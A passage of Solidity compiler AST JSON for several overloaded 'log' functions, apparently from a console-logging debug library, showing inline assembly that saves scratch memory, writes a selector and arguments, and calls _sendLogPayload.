_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35191,"mutability":"mutable","name":"p2","nameLocation":"46232:2:22","nodeType":"VariableDeclaration","scope":35226,"src":"46224:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35190,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46224:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"46202:33:22"},"returnParameters":{"id":35193,"nodeType":"ParameterList","parameters":[],"src":"46250:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35255,"nodeType":"FunctionDefinition","src":"47595:664:22","nodes":[],"body":{"id":35254,"nodeType":"Block","src":"47658:601:22","nodes":[],"statements":[{"assignments":[35236],"declarations":[{"constant":false,"id":35236,"mutability":"mutable","name":"m0","nameLocation":"47676:2:22","nodeType":"VariableDeclaration","scope":35254,"src":"47668:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35235,"name":"bytes32","nodeType":"ElementaryTypeName","src":"47668:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35237,"nodeType":"VariableDeclarationStatement","src":"47668:10:22"},{"assignments":[35239],"declarations":[{"constant":false,"id":35239,"mutability":"mutable","name":"m1","nameLocation":"47696:2:22","nodeType":"VariableDeclaration","scope":35254,"src":"47688:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35238,"name":"bytes32","nodeType":"ElementaryTypeName","src":"47688:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35240,"nodeType":"VariableDeclarationStatement","src":"47688:10:22"},{"assignments":[35242],"declarations":[{"constant":false,"id":35242,"mutability":"mutable","name":"m2","nameLocation":"47716:2:22","nodeType":"VariableDeclaration","scope":35254,"src":"47708:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35241,"name":"bytes32","nodeType":"ElementaryTypeName","src":"47708:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35243,"nodeType":"VariableDeclarationStatement","src":"47708:10:22"},{"assignments":[35245],"declarations":[{"constant":false,"id":35245,"mutability":"mutable","name":"m3","nameLocation":"47736:2:22","nodeType":"VariableDeclaration","scope":35254,"src":"47728:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35244,"name":"bytes32","nodeType":"ElementaryTypeName","src":"47728:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35246,"nodeType":"VariableDeclarationStatement","src":"47728:10:22"},{"AST":{"nativeSrc":"47757:314:22","nodeType":"YulBlock","src":"47757:314:22","statements":[{"nativeSrc":"47771:17:22","nodeType":"YulAssignment","src":"47771:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"47783:4:22","nodeType":"YulLiteral","src":"47783:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"47777:5:22","nodeType":"YulIdentifier","src":"47777:5:22"},"nativeSrc":"47777:11:22","nodeType":"YulFunctionCall","src":"47777:11:22"},"variableNames":[{"name":"m0","nativeSrc":"47771:2:22","nodeType":"YulIdentifier","src":"47771:2:22"}]},{"nativeSrc":"47801:17:22","nodeType":"YulAssignment","src":"47801:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"47813:4:22","nodeType":"YulLiteral","src":"47813:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"47807:5:22","nodeType":"YulIdentifier","src":"47807:5:22"},"nativeSrc":"47807:11:22","nodeType":"YulFunctionCall","src":"47807:11:22"},"variableNames":[{"name":"m1","nativeSrc":"47801:2:22","nodeType":"YulIdentifier","src":"47801:2:22"}]},{"nativeSrc":"47831:17:22","nodeType":"YulAssignment","src":"47831:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"47843:4:22","nodeType":"YulLiteral","src":"47843:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"47837:5:22","nodeType":"YulIdentifier","src":"47837:5:22"},"nativeSrc":"47837:11:22","nodeType":"YulFunctionCall","src":"47837:11:22"},"variableNames":[{"name":"m2","nativeSrc":"47831:2:22","nodeType":"YulIdentifier","src":"47831:2:22"}]},{"nativeSrc":"47861:17:22","nodeType":"YulAssignment","src":"47861:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"47873:4:22","nodeType":"YulLiteral","src":"47873:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"47867:5:22","nodeType":"YulIdentifier","src":"47867:5:22"},"nativeSrc":"47867:11:22","nodeType":"YulFunctionCall","src":"47867:11:22"},"variableNames":[{"name":"m3","nativeSrc":"47861:2:22","nodeType":"YulIdentifier","src":"47861:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47957:4:22","nodeType":"YulLiteral","src":"47957:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"47963:10:22","nodeType":"YulLiteral","src":"47963:10:22","type":"","value":"0xbcfd9be0"}],"functionName":{"name":"mstore","nativeSrc":"47950:6:22","nodeType":"YulIdentifier","src":"47950:6:22"},"nativeSrc":"47950:24:22","nodeType":"YulFunctionCall","src":"47950:24:22"},"nativeSrc":"47950:24:22","nodeType":"YulExpressionStatement","src":"47950:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"47994:4:22","nodeType":"YulLiteral","src":"47994:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"48000:2:22","nodeType":"YulIdentifier","src":"48000:2:22"}],"functionName":{"name":"mstore","nativeSrc":"47987:6:22","nodeType":"YulIdentifier","src":"47987:6:22"},"nativeSrc":"47987:16:22","nodeType":"YulFunctionCall","src":"47987:16:22"},"nativeSrc":"47987:16:22","nodeType":"YulExpressionStatement","src":"47987:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48023:4:22","nodeType":"YulLiteral","src":"48023:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"48029:2:22","nodeType":"YulIdentifier","src":"48029:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48016:6:22","nodeType":"YulIdentifier","src":"48016:6:22"},"nativeSrc":"48016:16:22","nodeType":"YulFunctionCall","src":"48016:16:22"},"nativeSrc":"48016:16:22","nodeType":"YulExpressionStatement","src":"48016:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48052:4:22","nodeType":"YulLiteral","src":"48052:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"48058:2:22","nodeType":"YulIdentifier","src":"48058:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48045:6:22","nodeType":"YulIdentifier","src":"48045:6:22"},"nativeSrc":"48045:16:22","nodeType":"YulFunctionCall","src":"48045:16:22"},"nativeSrc":"48045:16:22","nodeType":"YulExpressionStatement","src":"48045:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35236,"isOffset":false,"isSlot":false,"src":"47771:2:22","valueSize":1},{"declaration":35239,"isOffset":false,"isSlot":false,"src":"47801:2:22","valueSize":1},{"declaration":35242,"isOffset":false,"isSlot":false,"src":"47831:2:22","valueSize":1},{"declaration":35245,"isOffset":false,"isSlot":false,"src":"47861:2:22","valueSize":1},{"declaration":35228,"isOffset":false,"isSlot":false,"src":"48000:2:22","valueSize":1},{"declaration":35230,"isOffset":false,"isSlot":false,"src":"48029:2:22","valueSize":1},{"declaration":35232,"isOffset":false,"isSlot":false,"src":"48058:2:22","valueSize":1}],"id":35247,"nodeType":"InlineAssembly","src":"47748:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35249,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"48096:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"48102:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35248,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"48080:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48080:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35252,"nodeType":"ExpressionStatement","src":"48080:27:22"},{"AST":{"nativeSrc":"48126:127:22","nodeType":"YulBlock","src":"48126:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"48147:4:22","nodeType":"YulLiteral","src":"48147:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"48153:2:22","nodeType":"YulIdentifier","src":"48153:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48140:6:22","nodeType":"YulIdentifier","src":"48140:6:22"},"nativeSrc":"48140:16:22","nodeType":"YulFunctionCall","src":"48140:16:22"},"nativeSrc":"48140:16:22","nodeType":"YulExpressionStatement","src":"48140:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48176:4:22","nodeType":"YulLiteral","src":"48176:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"48182:2:22","nodeType":"YulIdentifier","src":"48182:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48169:6:22","nodeType":"YulIdentifier","src":"48169:6:22"},"nativeSrc":"48169:16:22","nodeType":"YulFunctionCall","src":"48169:16:22"},"nativeSrc":"48169:16:22","nodeType":"YulExpressionStatement","src":"48169:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48205:4:22","nodeType":"YulLiteral","src":"48205:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"48211:2:22","nodeType":"YulIdentifier","src":"48211:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48198:6:22","nodeType":"YulIdentifier","src":"48198:6:22"},"nativeSrc":"48198:16:22","nodeType":"YulFunctionCall","src":"48198:16:22"},"nativeSrc":"48198:16:22","nodeType":"YulExpressionStatement","src":"48198:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48234:4:22","nodeType":"YulLiteral","src":"48234:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"48240:2:22","nodeType":"YulIdentifier","src":"48240:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48227:6:22","nodeType":"YulIdentifier","src":"48227:6:22"},"nativeSrc":"48227:16:22","nodeType":"YulFunctionCall","src":"48227:16:22"},"nativeSrc":"48227:16:22","nodeType":"YulExpressionStatement","src":"48227:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35236,"isOffset":false,"isSlot":false,"src":"48153:2:22","valueSize":1},{"declaration":35239,"isOffset":false,"isSlot":false,"src":"48182:2:22","valueSize":1},{"declaration":35242,"isOffset":false,"isSlot":false,"src":"48211:2:22","valueSize":1},{"declaration":35245,"isOffset":false,"isSlot":false,"src":"48240:2:22","valueSize":1}],"id":35253,"nodeType":"InlineAssembly","src":"48117:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47604:3:22","parameters":{"id":35233,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35228,"mutability":"mutable","name":"p0","nameLocation":"47616:2:22","nodeType":"VariableDeclaration","scope":35255,"src":"47608:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35227,"name":"uint256","nodeType":"ElementaryTypeName","src":"47608:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35230,"mutability":"mutable","name":"p1","nameLocation":"47628:2:22","nodeType":"VariableDeclaration","scope":35255,"src":"47620:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35229,"name":"address","nodeType":"ElementaryTypeName","src":"47620:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35232,"mutability":"mutable","name":"p2","nameLocation":"47640:2:22","nodeType":"VariableDeclaration","scope":35255,"src":"47632:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35231,"name":"address","nodeType":"ElementaryTypeName","src":"47632:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"47607:36:22"},"returnParameters":{"id":35234,"nodeType":"ParameterList","parameters":[],"src":"47658:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35284,"nodeType":"FunctionDefinition","src":"48265:658:22","nodes":[],"body":{"id":35283,"nodeType":"Block","src":"48325:598:22","nodes":[],"statements":[{"assignments":[35265],"declarations":[{"constant":false,"id":35265,"mutability":"mutable","name":"m0","nameLocation":"48343:2:22","nodeType":"VariableDeclaration","scope":35283,"src":"48335:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35264,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48335:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35266,"nodeType":"VariableDeclarationStatement","src":"48335:10:22"},{"assignments":[35268],"declarations":[{"constant":false,"id":35268,"mutability":"mutable","name":"m1","nameLocation":"48363:2:22","nodeType":"VariableDeclaration","scope":35283,"src":"48355:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35267,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48355:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35269,"nodeType":"VariableDeclarationStatement","src":"48355:10:22"},{"assignments":[35271],"declarations":[{"constant":false,"id":35271,"mutability":"mutable","name":"m2","nameLocation":"48383:2:22","nodeType":"VariableDeclaration","scope":35283,"src":"48375:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35270,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48375:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35272,"nodeType":"VariableDeclarationStatement","src":"48375:10:22"},{"assignments":[35274],"declarations":[{"constant":false,"id":35274,"mutability":"mutable","name":"m3","nameLocation":"48403:2:22","nodeType":"VariableDeclaration","scope":35283,"src":"48395:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35273,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48395:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35275,"nodeType":"VariableDeclarationStatement","src":"48395:10:22"},{"AST":{"nativeSrc":"48424:311:22","nodeType":"YulBlock","src":"48424:311:22","statements":[{"nativeSrc":"48438:17:22","nodeType":"YulAssignment","src":"48438:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"48450:4:22","nodeType":"YulLiteral","src":"48450:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"48444:5:22","nodeType":"YulIdentifier","src":"48444:5:22"},"nativeSrc":"48444:11:22","nodeType":"YulFunctionCall","src":"48444:11:22"},"variableNames":[{"name":"m0","nativeSrc":"48438:2:22","nodeType":"YulIdentifier","src":"48438:2:22"}]},{"nativeSrc":"48468:17:22","nodeType":"YulAssignment","src":"48468:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"48480:4:22","nodeType":"YulLiteral","src":"48480:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"48474:5:22","nodeType":"YulIdentifier","src":"48474:5:22"},"nativeSrc":"48474:11:22","nodeType":"YulFunctionCall","src":"48474:11:22"},"variableNames":[{"name":"m1","nativeSrc":"48468:2:22","nodeType":"YulIdentifier","src":"48468:2:22"}]},{"nativeSrc":"48498:17:22","nodeType":"YulAssignment","src":"48498:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"48510:4:22","nodeType":"YulLiteral","src":"48510:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"48504:5:22","nodeType":"YulIdentifier","src":"48504:5:22"},"nativeSrc":"48504:11:22","nodeType":"YulFunctionCall","src":"48504:11:22"},"variableNames":[{"name":"m2","nativeSrc":"48498:2:22","nodeType":"YulIdentifier","src":"48498:2:22"}]},{"nativeSrc":"48528:17:22","nodeType":"YulAssignment","src":"48528:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"48540:4:22","nodeType":"YulLiteral","src":"48540:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"48534:5:22","nodeType":"YulIdentifier","src":"48534:5:22"},"nativeSrc":"48534:11:22","nodeType":"YulFunctionCall","src":"48534:11:22"},"variableNames":[{"name":"m3","nativeSrc":"48528:2:22","nodeType":"YulIdentifier","src":"48528:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48621:4:22","nodeType":"YulLiteral","src":"48621:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"48627:10:22","nodeType":"YulLiteral","src":"48627:10:22","type":"","value":"0x9b6ec042"}],"functionName":{"name":"mstore","nativeSrc":"48614:6:22","nodeType":"YulIdentifier","src":"48614:6:22"},"nativeSrc":"48614:24:22","nodeType":"YulFunctionCall","src":"48614:24:22"},"nativeSrc":"48614:24:22","nodeType":"YulExpressionStatement","src":"48614:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48658:4:22","nodeType":"YulLiteral","src":"48658:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"48664:2:22","nodeType":"YulIdentifier","src":"48664:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48651:6:22","nodeType":"YulIdentifier","src":"48651:6:22"},"nativeSrc":"48651:16:22","nodeType":"YulFunctionCall","src":"48651:16:22"},"nativeSrc":"48651:16:22","nodeType":"YulExpressionStatement","src":"48651:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48687:4:22","nodeType":"YulLiteral","src":"48687:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"48693:2:22","nodeType":"YulIdentifier","src":"48693:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48680:6:22","nodeType":"YulIdentifier","src":"48680:6:22"},"nativeSrc":"48680:16:22","nodeType":"YulFunctionCall","src":"48680:16:22"},"nativeSrc":"48680:16:22","nodeType":"YulExpressionStatement","src":"48680:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48716:4:22","nodeType":"YulLiteral","src":"48716:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"48722:2:22","nodeType":"YulIdentifier","src":"48722:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48709:6:22","nodeType":"YulIdentifier","src":"48709:6:22"},"nativeSrc":"48709:16:22","nodeType":"YulFunctionCall","src":"48709:16:22"},"nativeSrc":"48709:16:22","nodeType":"YulExpressionStatement","src":"48709:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35265,"isOffset":false,"isSlot":false,"src":"48438:2:22","valueSize":1},{"declaration":35268,"isOffset":false,"isSlot":false,"src":"48468:2:22","valueSize":1},{"declaration":35271,"isOffset":false,"isSlot":false,"src":"48498:2:22","valueSize":1},{"declaration":35274,"isOffset":false,"isSlot":false,"src":"48528:2:22","valueSize":1},{"declaration":35257,"isOffset":false,"isSlot":false,"src":"48664:2:22","valueSize":1},{"declaration":35259,"isOffset":false,"isSlot":false,"src":"48693:2:22","valueSize":1},{"declaration":35261,"isOffset":false,"isSlot":false,"src":"48722:2:22","valueSize":1}],"id":35276,"nodeType":"InlineAssembly","src":"48415:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35278,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"48760:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":35279,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"48766:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":35277,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"48744:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"48744:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35281,"nodeType":"ExpressionStatement","src":"48744:27:22"},{"AST":{"nativeSrc":"48790:127:22","nodeType":"YulBlock","src":"48790:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"48811:4:22","nodeType":"YulLiteral","src":"48811:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"48817:2:22","nodeType":"YulIdentifier","src":"48817:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48804:6:22","nodeType":"YulIdentifier","src":"48804:6:22"},"nativeSrc":"48804:16:22","nodeType":"YulFunctionCall","src":"48804:16:22"},"nativeSrc":"48804:16:22","nodeType":"YulExpressionStatement","src":"48804:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48840:4:22","nodeType":"YulLiteral","src":"48840:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"48846:2:22","nodeType":"YulIdentifier","src":"48846:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48833:6:22","nodeType":"YulIdentifier","src":"48833:6:22"},"nativeSrc":"48833:16:22","nodeType":"YulFunctionCall","src":"48833:16:22"},"nativeSrc":"48833:16:22","nodeType":"YulExpressionStatement","src":"48833:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48869:4:22","nodeType":"YulLiteral","src":"48869:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"48875:2:22","nodeType":"YulIdentifier","src":"48875:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48862:6:22","nodeType":"YulIdentifier","src":"48862:6:22"},"nativeSrc":"48862:16:22","nodeType":"YulFunctionCall","src":"48862:16:22"},"nativeSrc":"48862:16:22","nodeType":"YulExpressionStatement","src":"48862:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"48898:4:22","nodeType":"YulLiteral","src":"48898:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"48904:2:22","nodeType":"YulIdentifier","src":"48904:2:22"}],"functionName":{"name":"mstore","nativeSrc":"48891:6:22","nodeType":"YulIdentifier","src":"48891:6:22"},"nativeSrc":"48891:16:22","nodeType":"YulFunctionCall","src":"48891:16:22"},"nativeSrc":"48891:16:22","nodeType":"YulExpressionStatement","src":"48891:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35265,"isOffset":false,"isSlot":false,"src":"48817:2:22","valueSize":1},{"declaration":35268,"isOffset":false,"isSlot":false,"src":"48846:2:22","valueSize":1},{"declaration":35271,"isOffset":false,"isSlot":false,"src":"48875:2:22","valueSize":1},{"declaration":35274,"isOffset":false,"isSlot":false,"src":"48904:2:22","valueSize":1}],"id":35282,"nodeType":"InlineAssembly","src":"48781:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"48274:3:22","parameters":{"id":35262,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35257,"mutability":"mutable","name":"p0","nameLocation":"48286:2:22","nodeType":"VariableDeclaration","scope":35284,"src":"48278:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":35256,"name":"uint256","nodeType":"ElementaryTypeName","src":"48278:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":35259,"mutability":"mutable","name":"p1","nameLocation":"48298:2:22","nodeType":"VariableDeclaration","scope":35284,"src":"48290:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35258,"name":"address","nodeType":"ElementaryTypeName","src":"48290:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35261,"mutability":"mutable","name":"p2","nameLocation":"48307:2:22","nodeType":"VariableDeclaration","scope":35284,"src":"48302:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35260,"name":"bool","nodeType":"ElementaryTypeName","src":"48302:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"48277:33:22"},"returnParameters":{"id":35263,"nodeType":"ParameterList","parameters":[],"src":"48325:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35313,"nodeType":"FunctionDefinition","src":"48929:664:22","nodes":[],"body":{"id":35312,"nodeType":"Block","src":"48992:601:22","nodes":[],"statements":[{"assignments":[35294],"declarations":[{"constant":false,"id":35294,"mutability":"mutable","name":"m0","nameLocation":"49010:2:22","nodeType":"VariableDeclaration","scope":35312,"src":"49002:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35293,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49002:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35295,"nodeType":"VariableDeclarationStatement","src":"49002:10:22"},{"assignments":[35297],"declarations":[{"constant":false,"id":35297,"mutability":"mutable","name":"m1","nameLocation":"49030:2:22","nodeType":"VariableDeclaration","scope":35312,"src":"49022:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35296,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49022:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35298,"nodeType":"VariableDeclarationStatement","src":"49022:10:22"},{"assignments":[35300],"declarations":[{"constant":false,"id":35300,"mutability":"mutable","name":"m2","nameLocation":"49050:2:22","nodeType":"VariableDeclaration","scope":35312,"src":"49042:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35299,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49042:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35301,"nodeType":"VariableDeclarationStatement","src":"49042:10:22"},{"assignments":[35303],"declarations":[{"constant":false,"id":35303,"mutability":"mutable","name":"m3","nameLocation":"49070:2:22","nodeType":"VariableDeclaration","scope":35312,"src":"49062:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35302,"name":"bytes32","nodeType":"ElementaryTypeName","src":"49062:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35304,"nodeType":"VariableDeclarationStatement","src":"49062:10:22"},{"AST":{"nativeSrc":"49091:314:22","nodeType":"YulBlock","src":"49091:314:22","statements":[{"nativeSrc":"49105:17:22","nodeType":"YulAssignment","src":"49105:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"49117:4:22","nodeType":"YulLiteral","src":"49117:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"49111:5:22","nodeType":"YulIdentifier","src":"49111:5:22"},"nativeSrc":"49111:11:22","nodeType":"YulFunctionCall","src":"49111:11:22"},"variableNames":[{"name":"m0","nativeSrc":"49105:2:22","nodeType":"YulIdentifier","src":"49105:2:22"}]},{"nativeSrc":"49135:17:22","nodeType":"YulAssignment","src":"49135:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"49147:4:22","nodeType":"YulLiteral","src":"49147:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"49141:5:22","nodeType":"YulIdentifier","src":"49141:5:22"},"nativeSrc":"49141:11:22","nodeType":"YulFunctionCall","src":"49141:11:22"},"variableNa